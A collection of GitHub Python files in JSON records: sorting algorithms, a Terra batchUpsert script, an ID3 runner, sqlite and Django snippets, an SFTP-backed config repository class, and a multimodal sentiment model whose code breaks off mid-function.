{"seq_id":"3032031799","text":"import sys\nimport random\n\nsys.path.append(\"..\")\nfrom basic import utils\n\n\n@utils.clock\ndef selectionSort(nums):\n    if not nums or len(nums) < 2:\n        return\n    for i in range(len(nums)):\n        min_index = i\n        for j in range(i + 1, len(nums)):\n            min_index = j if nums[j] < nums[min_index] else min_index\n        utils.swap(nums, i, min_index)\n    return\n\n\ndef bubbleSort(nums):\n    if not nums or len(nums) < 2:\n        return\n    for k in range(len(nums), 0, -1):\n        for i in range(k - 1):\n            if nums[i] > nums[i + 1]:\n                utils.swap(nums, i, i + 1)\n    return\n\n\n@utils.clock\ndef insertionSort(nums):\n    if not nums or len(nums) < 2:\n        return\n    for i in range(1, len(nums)):\n        for j in range(i - 1, -1, -1):\n            if nums[j + 1] >= nums[j]:\n                break\n            utils.swap(nums, j, j + 1)\n    return\n\n\ndef __merge(nums, le, ri):\n    if le == ri:\n        return\n    mid = le + ((ri - le) >> 1)\n    __merge(nums, le, mid)\n    __merge(nums, mid + 1, ri)\n    t = [0] * (ri - le + 1)\n    p1 = le\n    p2 = mid + 1\n    i = 0\n    while p1 <= mid and p2 <= ri:\n        if nums[p1] <= nums[p2]:\n            t[i] = nums[p1]\n            p1 += 1\n        else:\n            t[i] = nums[p2]\n            p2 += 1\n        i += 1\n    while p1 <= mid:\n        t[i] = nums[p1]\n        i += 1\n        p1 += 1\n    while p2 <= ri:\n        t[i] = nums[p2]\n        i += 1\n        p2 += 1\n\n    for i, j in enumerate(range(le, ri + 1)):\n        nums[j] = t[i]\n\n    return\n\n\n@utils.clock\ndef mergeSort(nums):\n    if not nums or len(nums) < 2:\n        return\n    return __merge(nums, 0, len(nums) - 1)\n\n\ndef _partition(nums, l, r):\n    pL = l - 1\n    pR = r\n    i = l\n    while i < pR:\n        if nums[i] < nums[r]:\n            utils.swap_xor(nums, i, pL + 1)\n            pL += 1\n            i += 1\n        elif nums[i] > nums[r]:\n            utils.swap_xor(nums, i, pR - 1)\n            pR -= 1\n        else:\n            i += 1\n\n    utils.swap(nums, pR, r)\n    return pL, pR + 1\n\n\ndef quickSort(nums, l=-1, r=-1):\n    if not nums or len(nums) < 2:\n        return\n\n    if l == -1 and r == -1:\n        l = 0\n        r = len(nums) - 1\n\n    if l < r:\n        index = random.randint(l, r)\n        utils.swap(nums, index, r)\n        p, q = _partition(nums, l, r)\n        quickSort(nums, l, p)\n        quickSort(nums, q, r)\n\n\n@utils.clock\ndef easyQuickSort(nums):\n    if not nums or len(nums) < 2:\n        return\n\n    def _partition(nums, le, ri):\n        p = le - 1\n        index = random.randint(le, ri)\n        num = nums[index]\n        for i in range(le, ri + 1):\n            if nums[i] <= num:\n                p += 1\n                if i != p:\n                    tmp = nums[i]\n                    nums[i] = nums[p]\n                    nums[p] = tmp\n        return p\n\n    def process(nums, le, ri):\n        if le == ri:\n            return\n        q = _partition(nums, le, ri)\n        if q > le:\n            process(nums, le, q - 1)\n        if q < ri - 1:\n            process(nums, q + 1, ri)\n\n    process(nums, 0, len(nums) - 1)\n    return\n\n\ndef quick_sort(arr):\n    # if array is empty or has only 1 element\n    # it means the array is already sorted, so return it.\n    if len(arr) < 2:\n        return arr\n    else:\n        rand_index = random.randint(0, len(arr) - 1)\n        pivot = arr[rand_index]\n        less = []\n        equal_nums = []\n        greater = []\n\n        # create less and greater array comparing with pivot\n        for i in arr:\n            if i < pivot:\n                less.append(i)\n            if i > pivot:\n                greater.append(i)\n            if i == pivot:\n                equal_nums.append(i)\n\n        return quick_sort(less) + equal_nums + quick_sort(greater)\n\n\n@utils.clock\ndef wrapQuickSort(nums):\n    # quickSort(nums)\n    nums = quick_sort(nums)\n\n    return\n\n\n@utils.clock\ndef originSort(nums):\n    nums.sort()\n    return\n\n\ndef countingSort(nums, bound):\n    if not nums or len(nums) < 2:\n        return\n    cnt = [0] * (bound + 1)\n    for x in nums:\n        cnt[x] += 1\n\n    for i in range(1, bound + 1):\n        cnt[i] += cnt[i - 1]\n    res = [0] * len(nums)\n    for i in range(len(nums)):\n        res[cnt[nums[i]] - 1] = nums[i]\n    return res\n\n\ndef radixSort(nums):\n    if not nums or len(nums) < 2:\n        return\n\n    maxn = max(nums)\n    maxBit = 0\n    while maxn != 0:\n        maxBit += 1\n        maxn = maxn // 10\n\n    bucket = [0] * len(nums)\n\n    def getDigits(x, d):\n        return (x // (10 ** (d - 1))) % 10\n\n    for i in range(1, maxBit + 1):\n        cnt = [0] * 10\n        # 按key进行计数排序\n        for x in nums:\n            j = getDigits(x, i)\n            cnt[j] += 1\n\n        for k in range(1, 10):\n            cnt[k] += cnt[k - 1]\n        # 反向，为了先出现的排前面，也就发挥了第二关键字的作用 ,若要先出现的排后面，则正向\n        for k in range(len(nums) - 1, -1, -1):\n            j = getDigits(nums[k], i)\n            bucket[cnt[j] - 1] = nums[k]\n            cnt[j] -= 1\n        for k in range(len(nums)):\n            nums[k] = bucket[k]\n\n\nclass Heap:\n\n    def __init__(self, nums):\n        self.heap_size = 0\n        self.heap = nums\n\n    @staticmethod\n    def swap(nums, a, b):\n        if a == b:\n            return\n        tmp = nums[a]\n        nums[a] = nums[b]\n        nums[b] = tmp\n\n    def heapInsert(self, index):\n        self.heap_size += 1\n        while self.heap[index] > self.heap[(index - 1) >> 1]:\n            Heap.swap(self.heap, index, (index - 1) >> 1)\n            index = (index - 1) >> 1\n\n    def heapify(self, index, size):\n        left = (index << 1) + 1\n        right = left + 1\n        while left < size:\n            bigger = right if right < size and self.heap[right] > self.heap[left] else left\n            bigger = bigger if self.heap[bigger] > self.heap[index] else index\n            if bigger == index:\n                break\n            Heap.swap(self.heap, bigger, index)\n            index = bigger\n            left = (index << 1) + 1\n            right = left + 1\n\n    def isEmpty(self):\n        return self.heap_size == 0\n\n\ndef heapSort(nums):\n    if not nums or len(nums) < 2:\n        return\n    heap = Heap(nums)\n    # for i in range(len(nums)):\n    #     heap.heapInsert(i)\n    heap.heap_size = len(nums)\n    for i in range(len(nums) - 1, -1, -1):\n        heap.heapify(i, len(nums))\n    t = heap.heap_size\n    while t > 0:\n        Heap.swap(heap.heap, 0, t - 1)\n        t -= 1\n        heap.heapify(0, t)\n    return nums\n\n\ndef Test():\n    test_time = 20\n    for i in range(test_time):\n        arr1 = utils.generateArray(100, 100)\n        arr2 = arr1[:]\n        # easyQuickSort(arr1)\n        print(utils.comparator(easyQuickSort, wrapQuickSort, arr1, arr2))\n\n\nif __name__ == \"__main__\":\n    # Test()\n    nums = [35, 38, 46, 43, 52, 39, 54, 56, 56, 59, 68, 75, 84, 91, 99, 35, 38, 46, 43, 52, 39, 54, 56, 56, 59, 68, 75,\n            84, 91, 99]\n    # easyQuickSort(nums)\n    # nums = countingSort(nums, 100)\n    radixSort(nums)\n    print(nums)\n","repo_name":"yuqALL/leetcode_learn","sub_path":"niuke/basic_class/Sort.py","file_name":"Sort.py","file_ext":"py","file_size_in_byte":7035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"31268541996","text":"import argparse\nimport requests\n\nfrom oauth2client.client import GoogleCredentials\n\n\n# function to get authorization bearer token for requests\ndef get_access_token():\n    \"\"\"Get access token.\"\"\"\n\n    scopes = [\"https://www.googleapis.com/auth/userinfo.profile\", \"https://www.googleapis.com/auth/userinfo.email\"]\n    credentials = GoogleCredentials.get_application_default()\n    credentials = credentials.create_scoped(scopes)\n\n    return credentials.get_access_token().access_token\n\n\ndef call_rawls_batch_upsert(workspace_name, project, request):\n    \"\"\"Post entities to Terra workspace using batchUpsert.\"\"\"\n\n    # rawls request URL for batchUpsert\n    uri = f\"https://rawls.dsde-prod.broadinstitute.org/api/workspaces/{project}/{workspace_name}/entities/batchUpsert\"\n\n    # Get access token and and add to headers for requests.\n    # -H  \"accept: */*\" -H  \"Authorization: Bearer [token] -H \"Content-Type: application/json\"\n    headers = {\"Authorization\": \"Bearer \" + get_access_token(), \"accept\": \"*/*\", \"Content-Type\": \"application/json\"}\n\n    # capture response from API and parse out status code\n    response = requests.post(uri, headers=headers, data=request)\n    status_code = response.status_code\n\n    if status_code != 204:  # entities upsert fail\n        print(f\"WARNING: Failed to upload entities.\")\n        print(response.text)\n        return\n\n    # entities upsert success\n    print(f\"Successfully uploaded entities.\" + \"\\n\")\n\n\ndef write_request_json(request, filename_prefix):\n    \"\"\"Create output file with json request.\"\"\"\n\n    save_name = f\"{filename_prefix}_batch_upsert_request.json\"\n    with open(save_name, \"w\") as f:\n        f.write(request)\n\n\ndef convert_string_to_list(input_string):\n    \"\"\"Convert a given string into an array compatible with data model tsvs for array attributes.\"\"\"\n\n    # remove single & double quotes, remove spaces, remove [ ], separate remaining string on commas (resulting in a list)\n    output_list = str(input_string).replace(\"'\", '').replace('\"', '').replace(\" \", \"\").strip('[]').split(\",\")\n\n    return output_list\n\n\ndef create_list_attr_operation(var_attribute_list_name):\n    \"\"\"Return request string for a single operation to create an attribute of type array/list.\"\"\"\n\n    return '{\"op\":\"CreateAttributeValueList\",\"attributeName\":\"' + var_attribute_list_name + '\"},'\n\n\ndef add_list_member_operation(var_attribute_list_name, var_attribute_list_member):\n    \"\"\"Return request string for a single operation to add a list member to an attribute of type array/list.\"\"\"\n\n    return '{\"op\":\"AddListMember\",\"attributeListName\":\"' + var_attribute_list_name + '\", \"newMember\":\"' + var_attribute_list_member + '\"},'\n\n\ndef create_non_array_attr_operation(var_attribute_name, var_attribute_value):\n    \"\"\"Return request string for a single operation to create a non-array attribute.\"\"\"\n\n    return '{\"op\":\"AddUpdateAttribute\",\"attributeName\":\"' + var_attribute_name + '\", \"addUpdateAttribute\":\"' + var_attribute_value + '\"},'\n\n\ndef create_single_entity_request(var_entity_id, var_entity_type, single_entity_operations):\n    \"\"\"Return request string with array/list attributes, their associated values/members, and single entity operations.\"\"\"\n\n    return '{\"name\":\"' + var_entity_id + '\", \"entityType\":\"' + var_entity_type + '\", \"operations\":[' + single_entity_operations + ']}'\n\n\ndef create_upsert_request(tsv, array_attr_cols=None):\n    \"\"\"Generate the request body for batchUpsert API.\"\"\"\n\n    # check tsv format: data model load tsv requirement \"entity:table_name_id\" or \"membership:table_name_id\" -> else exit\n    entity_type_col_name = tsv.columns[0]                               # entity:entity_name_id\n    entity_type = entity_type_col_name.rsplit(\"_\", 1)[0].split(\":\")[1]  # entity_name\n\n    if not entity_type_col_name.startswith((\"entity:\", \"membership:\")):\n        print(\"Invalid tsv. The .tsv does not start with column entity:[table_name]_id or membership:[table_name]_id. Please correct and try again.\")\n        return\n\n    # replace the \"entity:col_name_id\" with just \"col_name\" in df\n    # if not replaced, \"attributeName\" in the template_make_single_attr becomes \"entity:entity_name_id\" instead of just entity_name\n    # when the API request is made, its read as multiple columns with the \"entity\" prefix which is illegal\n    # this is specific just to the first column where the format is required for terra load tsv files\n    tsv.rename(columns={entity_type_col_name: entity_type}, inplace=True)\n\n    # initiate string to capture all operation requests for all rows (entities) in given tsv file\n    all_entities_request = []\n\n    # for every row (entity) in df\n    for index, row in tsv.iterrows():\n        # initialize string to capture request for one row (entity) in tsv\n        single_entity_operations = ''''''\n        # get the entity_id (row id - must be unique)\n        entity_id = str(row[0])\n\n        # if array columns/attributes provided\n        if array_attr_cols:\n            # for each array column\n            for col in array_attr_cols:\n                # get operation json to make the array/list attribute with column name\n                single_entity_operations += create_list_attr_operation(col)\n                # convert string value -> back into an array: [foo,bar] (str) --> ['foo', 'bar'] (list)\n                attr_values = convert_string_to_list(row[col])\n                # for each item in array (values pertaining to the list attribute as defined above)\n                for val in attr_values:\n                    # get operation json to add each array/list attribute's values to the request\n                    single_entity_operations += add_list_member_operation(col, val)\n\n            # get non-array/list attributes based on which of the full tsv columns are array attributes\n            single_attr_cols = list(set(list(tsv.columns)) - set(array_attr_cols))\n        # if no array columns/attributes provided\n        else:\n            single_attr_cols = list(tsv.columns)\n\n        # if there are non-array/list attribute columns - cases where all columns are arrays, single_attr_cols would be empty\n        if single_attr_cols:\n            # for each column that is not an array\n            for col in single_attr_cols:\n                # get value in col from df\n                attr_value = str(row[col])\n                # get operation json with the row (entity) value to the non-array column (attribute)\n                single_entity_operations += create_non_array_attr_operation(col, attr_value)\n\n        # remove trailing comma from the last request template\n        single_entity_operations = single_entity_operations[:-1]\n\n        # fill in entity_type (table name), entity_name (row id), and all entity operations into request body template\n        single_entity_request = create_single_entity_request(entity_id, entity_type, single_entity_operations)\n\n        # add the request pertinent to the rows (entities) of a single workspace to list of all workspace requests\n        all_entities_request.append(single_entity_request)\n\n    # remove quotes around elements of the list but keep the brackets - using sep() or join() get rid of the brackets\n    # ['{entity1}', '{entity2}', '{..}'] (api fails) --> [{entity1}, {entity2}, {..}] (api succeeds)\n    all_entities_request_formatted = '[%s]' % ','.join(all_entities_request)\n\n    return all_entities_request_formatted\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='')\n    parser.add_argument('-w', '--workspace_name', required=True, help='name of workspace in which to make changes')\n    parser.add_argument('-p', '--project', required=True, help='billing project (namespace) of workspace in which to make changes')\n    parser.add_argument('-t', '--tsv', required=True, help='.tsv file formatted in load format to Terra UI')\n\n    args = parser.parse_args()\n\n    # create request body for batchUpsert\n    request = create_upsert_request(args.tsv)\n    # call batchUpsert API (rawls)\n    call_rawls_batch_upsert(args.workspace_name, args.project, request)\n","repo_name":"broadinstitute/horsefish","sub_path":"scripts/anvil_tools/batch_upsert_entities_standard.py","file_name":"batch_upsert_entities_standard.py","file_ext":"py","file_size_in_byte":8040,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"10718268167","text":"import sys\nfrom scipy.io import arff\nimport ID3\n\narg1 = str(sys.argv[1])\narg2 = str(sys.argv[2])\n\ndata, meta = arff.loadarff(arg1)\ntest_data, test_meta = arff.loadarff(arg2)\n\nm = int(sys.argv[3])\n\nmyID3 = ID3.ID3Classifier(m)\n\nmyID3.train(data, meta, 'class')\nmyID3.print_tree()\nmyID3.test(test_data, 'class', printing=True)\n","repo_name":"jdburge/ID3","sub_path":"CS760Hw2/dt-learn.py","file_name":"dt-learn.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23853831377","text":"import sqlite3\nconn = sqlite3.connect(\"mid morning\")\nprint(\"open database successfuly\")\nconn.execute(\"CREATE TABLE wanafunz (\"\n             \"ID INT PRIMARY KEY NOT NULL,\"\n             \"NAME TEXT NOT NULL,\"\n             \"AGE INIT NOT NULL,\"\n             \"SCHOOL TEXT INIT NOT NULL,\"\n             \"GENDER TEXT NOT NULL)\")\nprint(\"table created success\")\nconn.close()","repo_name":"ELO254/pythontutorial","sub_path":"createtable.py","file_name":"createtable.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"2416183193","text":"from django.urls import path\nfrom book import views\n\nurlpatterns = [\n    path('add/',views.add),\n    path('register/',views.register),\n    path('login/',views.userlogin),\n    path('delete/<int:tid>',views.delete),\n    path('update/<str:tid>',views.update),\n    path('refresh/',views.refersh),\n    path('ltoh/',views.priceLtoH),\n    path('htol/',views.priceHtoL),\n    path('asc/',views.nameasc),\n    path('dsc/',views.namedsc),\n    path('reference/',views.reference),\n    path('fiction/',views.fiction),\n    path('nfiction/',views.nfiction),\n    path('edited/',views.edited)\n\n]\n","repo_name":"ankityadav-projects/todo","sub_path":"library_managment/book/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26135847302","text":"\"\"\"\nContains the Repository class, the main way to interact with a configfiles repo\n\nInternally, repositories are stored as a folder with the following structure\n\n(repo root)\n|\n=- index.json\n=- scripts/\n  =- (hash).py\n  =- (hash2).py\n  ...\n=- locks/\n  =- write_lock\n  =- read_lock_0  (auto incremented using listdir)\n\nindex.json contains various information, such as script names and sources (often auto-generated)\nscripts/ contains all of the scripts, named by their sha1 hashes\nlocks/ contains the lockfiles.\n\nwrite_lock's presence indicates another configfiles instance is writing or modifying the repo and no reads nor changes should occur\nread_lock's presence indicates another configfiles instance is reading the data, so no modification may occur.\nOther reads can occur just fine, with autoincreasing numbers to be unique\n\nThe repository's index contains a few fields:\n\n- version: currently 1, following fields are for this version\n- scripts: dictionary of script objects\n- start: start of script objects\n- revision: increments with every additional script\n- end\n\nso:\n\n- name\n- files: list of files modified by the script (filenames)\n- next: next script in chain\n- prev: previous script in chain\n\"\"\"\n\nfrom socket import socket\nfrom paramiko.transport import Transport\nfrom .locks import RepoReadLock, RepoWriteLock\nfrom ..auth import authenticate_transport, interpret_urlish\nfrom hashlib import sha512\nimport json\n\nclass Repository:\n    def __init__(self, url):\n        self.url = url\n        self.index = {}\n\n        self.read_lock = RepoReadLock(url)\n        self.write_lock = RepoWriteLock(url)\n\n        self.client = None\n        self.transport = None\n        self.socket = socket()\n\n        self.opened = False\n\n    def open(self):\n        \"\"\"\n        Opens the connection\n        \"\"\"\n\n        self.socket.connect((interpret_urlish(self.url)[1], 22))\n        self.transport = Transport(self.socket)\n        self.transport.start_client()\n        authenticate_transport(self.transport)\n        self.client = self.transport.open_sftp_client()\n        target_path = interpret_urlish(self.url)[2]\n        try:\n            self.client.stat(target_path)\n        except IOError:\n            self.client.mkdir(target_path)\n        self.client.chdir(target_path)\n        self.opened = True\n\n    def close(self):\n        \"\"\"\n        Closes the connection\n        \"\"\"\n\n        if not self.opened:\n            return\n        self.client.close()\n        self.transport.close()\n        self.socket.close()\n        self.opened = False\n\n    def update(self):\n        \"\"\"\n        Update the information in this class to match that of the remote.\n\n        Raises exceptions if remote is invalid or in an invalid state\n        \"\"\"\n\n        if not self.opened:\n            self.open()\n\n        with self.read_lock:\n            with self.client.open(\"index.json\") as f:\n                self.index = json.load(f)\n\n    def get_script(self, hname=None):\n        \"\"\"\n        Get the script object\n        \"\"\"\n        if hname is None:\n            hname = self.index[\"start\"]\n        return self.index[\"scripts\"][hname]\n\n    def download_script(self, hname=None):\n        if hname is None:\n            hname = self.index[\"start\"]\n        with self.read_lock:\n            with self.client.open(\"scripts/\" + hname + \".py\", \"r\") as f:\n                return f.read()\n\n    def get_revision(self):\n        return self.index[\"revision\"]\n\n    def append_script(self, script_obj, script_contents):\n        h = sha512()\n        h.update(script_contents.encode(\"utf-7\"))\n        hname = h.hexdigest()\n        script_obj[\"prev\"] = self.index[\"end\"]\n\n        with self.write_lock:\n            self.index[\"revision\"] += 1\n            if self.index[\"end\"]: self.index[\"scripts\"][self.index[\"end\"]][\"next\"] = hname\n            self.index[\"end\"] = hname\n            self.index[\"scripts\"][hname] = script_obj\n\n            if self.index[\"start\"] == \"\":\n                self.index[\"start\"] = hname\n\n            self._write()\n            with self.client.open(\"scripts/\" + hname + \".py\", \"w\") as f:\n                f.write(script_contents)\n\n    def _write(self):\n        with self.client.open(\"index.json\", \"w\") as f:\n            json.dump(self.index, f)\n\n    def write(self):\n        with self.write_lock:\n            self._write()\n\n    def __iter__(self):\n        return FollowChainIterator(self, self.index[\"start\"])\n\n    def iterate_from(self, pos):\n        return FollowChainIterator(self, pos)\n\n    def new(self):\n        if not self.opened:\n            self.open()\n\n        try:\n            self.client.stat(\"index.json\")\n            raise RuntimeError(\"already init-ed, manually delete the folder to re-init\")\n        except IOError:\n            pass\n\n        # create the skeleton fs\n        self.client.mkdir(\"locks\")\n        self.client.mkdir(\"scripts\")\n\n        # create a basic index.json\n        self.index = {\n                \"version\": 1,\n                \"revision\": 0,\n                \"start\": \"\",\n                \"end\": \"\",\n                \"scripts\": {}\n        }\n\n        self.write()\n\n\n\nclass FollowChainIterator:\n    def __init__(self, repo, start):\n        self.repo = repo\n        self.pos = start\n\n    def __next__(self):\n        if not self.pos:\n            raise StopIteration\n        n = self.pos\n        result = self.repo.get_script(self.pos)\n        self.pos = result[\"next\"]\n        return n\n\n    def __iter__(self):\n        return self\n","repo_name":"mincrmatt12/configfiles","sub_path":"configfiles/repo/obj.py","file_name":"obj.py","file_ext":"py","file_size_in_byte":5433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"28712509374","text":"# self supervised multimodal multi-task learning network\nimport os\nimport sys\nimport collections\n\nimport pdb\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd.function import Function\nfrom torch.nn.utils.rnn import pad_sequence, pack_padded_sequence, pad_packed_sequence\n\nfrom models.subNets.BertTextEncoder import BertTextEncoder\n\n__all__ = ['SELF_MM']\n\nclass SELF_MM(nn.Module):\n    def __init__(self, args):\n        super(SELF_MM, self).__init__()\n        # text subnets\n        self.aligned = args.need_data_aligned\n        self.text_model = BertTextEncoder(language=args.language, use_finetune=args.use_finetune)\n\n        # audio-vision subnets\n        audio_in, video_in = args.feature_dims[1:]\n        self.audio_model = AuViSubNet(audio_in, args.a_lstm_hidden_size, args.audio_out, \\\n                            num_layers=args.a_lstm_layers, dropout=args.a_lstm_dropout)\n        # change 32 -> 64 args.video_out = 64 2022年 04月 02日 星期六 16:47:28 CST\n        # in conig/config_regression.py:266\n        # args.text_out = 768\n        # args.audio_out = 16 \n        # args.video_out = 64 changed 32->64\n        # args.post_video_dim = 64 changed 32->64\n        self.video_model = VideoSubNet(video_in, args.v_lstm_hidden_size, args.video_out, \\\n                            num_layers=args.v_lstm_layers, dropout=args.v_lstm_dropout)\n\n        # the post_fusion layers\n        self.post_fusion_dropout = nn.Dropout(p=0.0)\n        self.post_fusion_layer_1 = nn.Linear(args.text_out + args.video_out + args.audio_out , args.post_fusion_dim)\n        self.post_fusion_layer_2 = nn.Linear(args.post_fusion_dim, args.post_fusion_dim)\n        self.post_fusion_layer_3 = nn.Linear(args.post_fusion_dim, 1)\n\n        # second level fusion modulle\n        # args.post_fusion_dim = 128\n        self.post_fusion_layer_4 = nn.Linear(args.post_fusion_dim + args.text_out + args.video_out + args.audio_out , args.post_fusion_dim)\n        self.post_fusion_layer_5 = nn.Linear(64,64)\n        self.post_fusion_layer_5_1 = nn.Linear(64,64)\n        # layer 6 is same for 3 , layer 3 is useless \n        self.post_fusion_layer_6 = nn.Linear(64, 1)\n\n        # the classify layer for text\n        self.post_text_dropout = nn.Dropout(p=args.post_text_dropout)\n        self.post_text_layer_1 = nn.Linear(args.text_out, args.post_text_dim)\n        self.post_text_layer_2 = nn.Linear(args.post_text_dim, args.post_text_dim)\n        self.post_text_layer_3 = nn.Linear(args.post_text_dim, 1)\n\n        # the classify layer for audio\n        self.post_audio_dropout = nn.Dropout(p=args.post_audio_dropout)\n        self.post_audio_layer_1 = nn.Linear(args.audio_out, args.post_audio_dim)\n        self.post_audio_layer_2 = nn.Linear(args.post_audio_dim, args.post_audio_dim)\n        self.post_audio_layer_3 = nn.Linear(args.post_audio_dim, 1)\n\n        # the classify layer for video\n        self.post_video_dropout = nn.Dropout(p=args.post_video_dropout)\n        self.post_video_layer_1 = nn.Linear(args.video_out, args.post_video_dim)\n        self.post_video_layer_2 = nn.Linear(args.post_video_dim, args.post_video_dim)\n        self.post_video_layer_3 = nn.Linear(args.post_video_dim, 1)\n\n        '''\n        # 0405 attention inspired by ../mmsa/models/singleTask/MFN.py\n        attInShape = 64\n        h_att1 = 64 \n        att1_dropout = 0.7 \n        self.att1_fc1 = nn.Linear(attInShape, h_att1)\n        self.att1_fc2 = nn.Linear(h_att1, attInShape)\n        self.att1_dropout = nn.Dropout(att1_dropout)\n        '''\n\n        '''\n        0413 early_fusion lstm \n        \n        '''\n        # self.norm = nn.BatchNorm1d(126) # 126 is text len with context  : \n        self.norm = nn.BatchNorm1d(45-1) # 45 is text len : torch.Size([32, 45, 768])\n        # self.lstm = nn.LSTM(33 + 768 + 709, 64, num_layers=1, dropout=0.0, bidirectional=False, batch_first=True)\n        self.lstm = nn.LSTM(33 + 768 + 2048, 64, num_layers=1, dropout=0.0, bidirectional=False, batch_first=True)\n        self.dropout = nn.Dropout(0.1)\n        self.linear = nn.Linear(64,64)\n        self.out = nn.Linear(64,1)\n\n        \n\n\n    def forward(self, text, audio, video):\n        audio, audio_lengths = audio\n        video, video_lengths = video\n\n        mask_len = torch.sum(text[:,1,:], dim=1, keepdim=True)\n        text_lengths = mask_len.squeeze().int().detach().cpu()\n\n        # 0412 align subnet \n        text_x = self.text_model(text)[:,1:,:]\n        self.dst_len = text_x.size(1) # 45\n        audio_x = audio\n        video_x = video \n\n        def align(x):\n            raw_seq_len = x.size(1)\n            if raw_seq_len == self.dst_len:\n                return x\n            if raw_seq_len // self.dst_len == raw_seq_len / self.dst_len:\n                pad_len = 0\n                pool_size = raw_seq_len // self.dst_len\n            else:\n                pad_len = self.dst_len - raw_seq_len % self.dst_len\n                pool_size = raw_seq_len // self.dst_len + 1\n            pad_x = x[:, -1, :].unsqueeze(1).expand([x.size(0), pad_len, x.size(-1)])\n            x = torch.cat([x, pad_x], dim=1).view(x.size(0), pool_size, self.dst_len, -1)\n            x = x.mean(dim=1)\n            return x\n        text_x = align(text_x)\n        audio_x = align(audio_x)\n        video_x = align(video_x)\n\n        # 0413 Early_fusion LSTM\n        x = torch.cat([text_x, audio_x, video_x], dim=-1)\n        # import ipdb;ipdb.set_trace()\n        x = self.norm(x)\n        _, final_states = self.lstm(x)\n        x = self.dropout(final_states[0][-1].squeeze(dim=0))\n        x = F.relu(self.linear(x), inplace=True)\n        x = self.dropout(x)\n        ef_lstm_h = x\n        ef_lstm_output = self.out(x)\n\n        text = self.text_model(text)[:,0,:]\n\n        if self.aligned:\n            audio = self.audio_model(audio, text_lengths)\n            video = self.video_model(video, text_lengths)\n        else:\n            audio = self.audio_model(audio, audio_lengths)\n            video = self.video_model(video, video_lengths)\n\n        '''\n        0411 delete 64->64 self-attention\n        # 0405 attention inspired by ../mmsa/models/singleTask/MFN.py\n        attention = F.softmax(self.att1_fc2(self.att1_dropout(F.relu(self.att1_fc1(video)))),dim=1)\n        cStar = video \n        attended = attention*cStar\n        # residual \n        video = attended + video \n        '''\n        \n        # fusion 0415 放弃后期融合  \n        fusion_h = torch.cat([text, audio, video], dim=-1)\n        fusion_h = self.post_fusion_dropout(fusion_h)\n        fusion_h = F.relu(self.post_fusion_layer_1(fusion_h), inplace=False)\n\n        # text\n        text_h = self.post_text_dropout(text)\n        text_h = F.relu(self.post_text_layer_1(text_h), inplace=False)\n        # audio\n        audio_h = self.post_audio_dropout(audio)\n        audio_h = F.relu(self.post_audio_layer_1(audio_h), inplace=False)\n        # vision\n        video_h = self.post_video_dropout(video)\n        video_h = F.relu(self.post_video_layer_1(video_h), inplace=False)\n\n        # classifier-fusion\n        # 0415 give up late fusion \n        '''\n        x_f = F.relu(self.post_fusion_layer_2(fusion_h), inplace=False)\n        x_f = torch.cat([x_f, text, audio, video], dim=-1)\n        # layer_3 is useless \n        # output_fusion = self.post_fusion_layer_3(x_f)\n        x_f = F.relu(self.post_fusion_layer_4(x_f), inplace=False)\n        '''\n        # after layer_4 save x_f as fusion_h for unimodal label generation 0403\n        # 0414 \n        # 只是用text模态，考虑bert模型的性能。\n        # x_f = text \n        # fusion_h = x_f \n        # x_f = torch.cat((ef_lstm_h,text),dim=-1)\n        # 0415 修改为只使用ef-lstm的情况。\n        x_f = ef_lstm_h\n        # 0415 ulgm\n        # fusion_h = x_f\n        \n        x_f = self.post_fusion_dropout(x_f)\n        x_f = F.relu(self.post_fusion_layer_5(x_f), inplace=False)\n        x_f = F.relu(self.post_fusion_layer_5_1(x_f), inplace=False)\n        output_fusion = self.post_fusion_layer_6(x_f)\n\n        # classifier-text\n        x_t = F.relu(self.post_text_layer_2(text_h), inplace=False)\n        output_text = self.post_text_layer_3(x_t)\n\n        # classifier-audio\n        x_a = F.relu(self.post_audio_layer_2(audio_h), inplace=False)\n        output_audio = self.post_audio_layer_3(x_a)\n\n        # classifier-vision\n        x_v = F.relu(self.post_video_layer_2(video_h), inplace=False)\n        output_video = self.post_video_layer_3(x_v)\n\n        # output_fusion出现nan情况,查看原因\n        if output_fusion.isnan().any():\n            pdb.set_trace()\n\n        res = {\n            'M': output_fusion, \n            'T': output_text,\n            'A': output_audio,\n            'V': output_video,\n            'Feature_t': text_h,\n            'Feature_a': audio_h,\n            'Feature_v': video_h,\n            'Feature_f': x_f,\n        }\n        return res\n\nclass AuViSubNet(nn.Module):\n    def __init__(self, in_size, hidden_size, out_size, num_layers=1, dropout=0.2, bidirectional=False):\n        '''\n        Args:\n            in_size: input dimension\n            hidden_size: hidden layer dimension\n            num_layers: specify the number of layers of LSTMs.\n            dropout: dropout probability\n            bidirectional: specify usage of bidirectional LSTM\n        Output:\n            (return value in forward) a tensor of shape (batch_size, out_size)\n        '''\n        super(AuViSubNet, self).__init__()\n        self.rnn = nn.LSTM(in_size, hidden_size, num_layers=num_layers, dropout=dropout, bidirectional=bidirectional, batch_first=True)\n        self.dropout = nn.Dropout(dropout)\n        self.linear_1 = nn.Linear(hidden_size, out_size)\n\n    def forward(self, x, lengths):\n        '''\n        x: (batch_size, sequence_len, in_size)\n        '''\n        # pdb.set_trace()\n        # mustard数据集样本长短差别极大,mean+3*std依然有\n        # 被截断的样本存在,因此需要更新送入rnn的长度.否则\n        # 会运行错误\n        '''\n        在预处理阶段进行了bug的修复,更新了长度\n        max_length = x.shape[1]\n        batch_size = x.shape[0]\n        condition = lengths <= max_length\n        lengths = torch.where(condition,lengths,torch.ones(batch_size,).to(x.device).long()*max_length)\n        '''\n\n        lengths = lengths.cpu()\n        packed_sequence = pack_padded_sequence(x, lengths, batch_first=True, enforce_sorted=False)\n        try:\n            _, final_states = self.rnn(packed_sequence)\n        